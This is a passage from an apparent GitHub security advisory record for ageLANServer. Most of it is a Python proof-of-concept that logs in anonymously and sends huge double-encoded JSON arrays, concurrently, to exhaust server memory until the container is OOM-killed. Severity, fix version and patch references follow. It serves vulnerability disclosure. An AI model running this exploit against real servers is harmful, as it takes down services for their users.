i.Json[[]string]; i.Json.UnmarshalText is\n    # invoked by encoding/json only when the JSON value is itself a string,\n    # so the array must be double-encoded: {\"names\": \"[\\\"x\\\",\\\"x\\\",...]\"}.\n    inner = \",\".join([r'\\\"x\\\"'] * names_count)\n    return ('{\"names\":\"[' + inner + ']\"}').encode()\n\n\ndef send_get_file_url(host, port, sni_host, session_id, names_count, timeout=30):\n    body = build_get_file_url_body(names_count)\n    conn = make_connection(host, port, timeout=timeout)\n    path = \"/game/cloud/getFileURL?sessionID=%s\" % urllib.parse.quote(session_id)\n    headers = {\n        \"Content-Type\": \"application/json\",\n        \"Host\": sni_host,\n    }\n    start = time.time()\n    try:\n        conn.request(\"POST\", path, body=body, headers=headers)\n        resp = conn.getresponse()\n        data = resp.read()\n        elapsed = time.time() - start\n        return {\n            \"ok\": True,\n            \"status\": resp.status,\n            \"response_bytes\": len(data),\n            \"request_bytes\": len(body),\n            \"elapsed_sec\": round(elapsed, 3),\n        }\n    except Exception as exc:\n        elapsed = time.time() - start\n        return {\n            \"ok\": False,\n            \"error\": \"%s: %s\" % (type(exc).__name__, exc),\n            \"request_bytes\": len(body),\n            \"elapsed_sec\": round(elapsed, 3),\n        }\n    finally:\n        try:\n            conn.close()\n        except Exception:\n            pass\n\n\ndef docker_exec_rss_kb(container):\n    try:\n        out = subprocess.run(\n            [\"docker\", \"exec\", container, \"cat\", \"/proc/1/status\"],\n            capture_output=True, text=True, timeout=10,\n        )\n        if out.returncode != 0:\n            return None\n        for line in out.stdout.splitlines():\n            if line.startswith(\"VmRSS:\"):\n                return int(line.split()[1])\n    except Exception:\n        return None\n    return None\n\n\ndef docker_inspect_state(container):\n    try:\n        out = subprocess.run(\n            [\"docker\", \"inspect\", container, \"--format\",\n             \"{{.State.Status}}|{{.State.OOMKilled}}|{{.State.ExitCode}}\"],\n            capture_output=True, text=True, timeout=10,\n        )\n        if out.returncode != 0:\n            return None\n        status, oom_killed, exit_code = out.stdout.strip().split(\"|\")\n        return {\n            \"status\": status,\n            \"oom_killed\": oom_killed == \"true\",\n            \"exit_code\": int(exit_code),\n        }\n    except Exception:\n        return None\n\n\ndef main():\n    parser = argparse.ArgumentParser(description=__doc__, formatter_class=argparse.RawDescriptionHelpFormatter)\n    parser.add_argument(\"--host\", default=DEFAULT_HOST, help=\"Server address (must be local). Default: 127.0.0.1\")\n    parser.add_argument(\"--port\", type=int, default=8443, help=\"Server HTTPS port as published by Docker. Default: 8443\")\n    parser.add_argument(\"--sni-host\", default=DEFAULT_SNI_HOST, help=\"Host header the server routes as the Game handler\")\n    parser.add_argument(\"--container\", default=\"agelan-vuln001-test\", help=\"Docker container name to inspect for OOM / RSS evidence\")\n    parser.add_argument(\"--baseline-names-count\", type=int, default=5, help=\"Array length for the harmless baseline request\")\n    parser.add_argument(\"--moderate-names-count\", type=int, default=2_000_000, help=\"Array length for the single non-destructive amplification request\")\n    parser.add_argument(\"--attack-names-count\", type=int, default=3_000_000, help=\"Array length per concurrent request in the crash phase\")\n    parser.add_argument(\"--attack-concurrency\", type=int, default=3, help=\"Number of concurrent oversized requests fired at the container\")\n    parser.add_argument(\"--skip-crash-phase\", action=\"store_true\", help=\"Only run the baseline + amplification phases (no OOM attempt)\")\n    args = parser.parse_args()\n\n    result = {\"host\": args.host, \"port\": args.port, \"container\": args.container}\n\n    print(\"== Phase 1: anonymous login (Authentication='disabled' by default) ==\")\n    session_baseline = platform_login(args.host, args.port, args.sni_host, 7656119800000101, 0x01)\n    print(\"Obtained session id: %s\" % session_baseline)\n    result[\"session_id_baseline\"] = session_baseline\n\n    print(\"\\n== Phase 2: baseline getFileURL request (names count=%d) ==\" % args.baseline_names_count)\n    rss_before_baseline = docker_exec_rss_kb(args.container)\n    baseline_resp = send_get_file_url(args.host, args.port, args.sni_host, session_baseline, args.baseline_names_count)\n    rss_after_baseline = docker_exec_rss_kb(args.container)\n    print(\"Response: %s\" % baseline_resp)\n    print(\"Server RSS before/after (KB): %s / %s\" % (rss_before_baseline, rss_after_baseline))\n    result[\"baseline\"] = {\n        \"response\": baseline_resp,\n        \"server_rss_kb_before\": rss_before_baseline,\n        \"server_rss_kb_after\": rss_after_baseline,\n    }\n\n    print(\"\\n== Phase 3: single moderately large getFileURL request (names count=%d) ==\" % args.moderate_names_count)\n    session_moderate = platform_login(args.host, args.port, args.sni_host, 7656119800000102, 0x02)\n    rss_before_moderate = docker_exec_rss_kb(args.container)\n    moderate_resp = send_get_file_url(args.host, args.port, args.sni_host, session_moderate, args.moderate_names_count)\n    rss_after_moderate = docker_exec_rss_kb(args.container)\n    print(\"Response: %s\" % moderate_resp)\n    print(\"Server RSS before/after (KB): %s / %s\" % (rss_before_moderate, rss_after_moderate))\n    amplification = None\n    if rss_after_moderate is not None and rss_before_moderate is not None and moderate_resp.get(\"request_bytes\"):\n        rss_growth_kb = rss_after_moderate - rss_before_moderate\n        amplification = round((rss_growth_kb * 1024) / moderate_resp[\"request_bytes\"], 2)\n        print(\"Memory amplification: %d KB RSS growth from a %d byte request (~%sx request size)\" % (\n            rss_growth_kb, moderate_resp[\"request_bytes\"], amplification))\n    result[\"moderate_amplification\"] = {\n        \"response\": moderate_resp,\n        \"server_rss_kb_before\": rss_before_moderate,\n        \"server_rss_kb_after\": rss_after_moderate,\n        \"amplification_ratio\": amplification,\n    }\n\n    if args.skip_crash_phase:\n        print(json.dumps(result, indent=2))\n        return 0\n\n    print(\"\\n== Phase 4: concurrent oversized getFileURL requests against the memory-constrained container ==\")\n    state_before = docker_inspect_state(args.container)\n    print(\"Container state before attack: %s\" % state_before)\n    result[\"container_state_before_attack\"] = state_before\n\n    sessions = []\n    for idx in range(args.attack_concurrency):\n        sess = platform_login(args.host, args.port, args.sni_host, 7656119800000200 + idx, 0x10 + idx)\n        sessions.append(sess)\n    print(\"Obtained %d attacker sessions: %s\" % (len(sessions), sessions))\n\n    attack_responses = []\n    with concurrent.futures.ThreadPoolExecutor(max_workers=args.attack_concurrency) as pool:\n        futures = [\n            pool.submit(send_get_file_url, args.host, args.port, args.sni_host, sess, args.attack_names_count, 60)\n            for sess in sessions\n        ]\n        for fut in concurrent.futures.as_completed(futures):\n            attack_responses.append(fut.result())\n    print(\"Attack request outcomes: %s\" % attack_responses)\n    result[\"attack_responses\"] = attack_responses\n\n    state_after = None\n    for _ in range(15):\n        time.sleep(1)\n        state_after = docker_inspect_state(args.container)\n        if state_after and state_after[\"status\"] != \"running\":\n            break\n    print(\"Container state after attack: %s\" % state_after)\n    result[\"container_state_after_attack\"] = state_after\n\n    oom_killed = bool(state_after and state_after.get(\"oom_killed\"))\n    result[\"oom_killed\"] = oom_killed\n    result[\"verdict\"] = \"VULNERABLE (container OOM-killed by attacker-controlled allocation)\" if oom_killed else \"NOT REPRODUCED (container survived)\"\n\n    print(\"\\n== Result ==\")\n    print(json.dumps(result, indent=2))\n    return 0 if oom_killed else 1\n\n\nif __name__ == \"__main__\":\n    sys.exit(main())\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/luskaner/ageLANServer/server"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.8.2-0.20260809203301-1dd40166a593"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/luskaner/ageLANServer/security/advisories/GHSA-4jfq-pmq9-257h"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-107839"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/luskaner/ageLANServer/commit/1dd40166a59356865c0a4b1800f32d05dc8bec79"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/luskaner/ageLANServer"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/luskaner/ageLANServer/releases/tag/v1.15.2"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-400" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-10-09T20:44:54Z",
    "nvd_published_at" : "2026-10-09T18:17:05Z"
  }
}